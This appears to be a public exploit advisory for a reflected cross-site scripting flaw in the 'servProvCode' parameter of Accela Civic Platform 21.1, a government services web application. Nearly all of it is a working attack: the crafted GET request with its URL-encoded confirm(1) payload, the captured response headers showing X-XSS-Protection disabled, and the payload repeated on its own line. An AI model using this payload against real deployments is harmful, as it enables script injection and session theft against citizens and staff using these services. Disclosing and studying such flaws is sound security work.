|=========================================================================== | # Exploit Title : Accela Civic Platform 21.1 - 'servProvCode' Cross-Site-Scripting (XSS) | | # Author : Ali Seddigh | | # Category : Web Application | | # Software Link: https://www.accela.com/civic-platform | | # Tested on : [ Windows 10 , KaliLinux ] | | # Version : 21.1 | | # Date : 2021-06-14 |=========================================================================== ================================================================ Accela Civic Platform Cross-Site-Scripting <= 21.1 ================================================================ ================================================================ Request Heeaders start ================================================================ GET /security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 HTTP/1.1 Host: Hidden for security reasons Cookie: JSESSIONID=FBjC0Zfg-H87ecWmTMDEcNo8HID1gB6rwBt5QC4Y.civpnode; LASTEST_REQUEST_TIME=1623004368673; g_current_language_ext=en_US; hostSignOn=true; BIGipServerAccela_Automation_av.web_pool_PROD=1360578058.47873.0000; LATEST_SESSION_ID=lVkV3izKpk9ig1g_nqSktJ3YKjSbfwwdPj0YBFDO; LATEST_WEB_SERVER=1.1.1.1; LATEST_LB=1360578058.47873.0000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Te: trailers Connection: close ================================================================ Request Heeaders end ================================================================ ================================================================ Response Heeaders start ================================================================ HTTP/1.1 200 OK Expires: Wed, 31 Dec 1969 23:59:59 GMT Cache-Control: no-cache X-Powered-By: JSP/2.3 Set-Cookie: LASTEST_REQUEST_TIME=1623004478373; path=/; domain=.Hidden for security reasons; secure Set-Cookie: g_current_language_ext=en_US; path=/; domain=.Hidden for security reasons; secure Set-Cookie: hostSignOn=true; path=/; domain=.Hidden for security reasons; secure X-XSS-Protection: 0 Pragma: No-cache Date: Sun, 06 Jun 2021 18:34:38 GMT Connection: close Content-Type: text/html;charset=UTF-8 Content-Length: 13222 ================================================================ Response Heeaders end ================================================================ You can notice that the parameter "servProvCode" is vulnerable to XSS. Payload: k3woq%22%5econfirm(1)%5e%22a2pbrnzx5a9 |=========================================================================== | # Discovered By : Ali Triplex |===========================================================================